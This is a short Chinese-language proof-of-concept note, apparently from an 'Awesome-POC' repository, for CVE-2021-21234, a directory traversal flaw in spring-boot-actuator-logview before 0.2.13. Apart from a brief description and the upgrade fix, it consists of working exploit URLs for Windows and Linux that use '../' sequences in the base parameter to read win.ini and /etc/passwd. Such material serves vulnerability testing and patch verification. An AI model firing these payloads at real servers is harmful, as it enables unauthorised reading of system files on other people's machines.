Awesome-POC/开发框架漏洞/Spring Boot 目录遍历 CVE-2021-21234.md
2024-11-06 14:10:36 +08:00

32 lines
749 B
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Spring Boot 目录遍历 CVE-2021-21234
## 漏洞描述
spring-boot-actuator-logview 是一个简单的日志文件查看器,在 0.2.13 版本之前存在目录遍历漏洞。
## 漏洞影响
```
spring-boot-actuator-logview < 0.2.13
```
## 漏洞复现
Windows
```
http://<your-ip>/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
http://<your-ip>/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
```
Linux
```
http://<your-ip>/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
http://<your-ip>/log/view?filename=/etc/passwd&base=../../../../../../../../../../
```
## 漏洞修复
将 spring-boot-actuator-logview 升级到 0.2.13 及以上版本。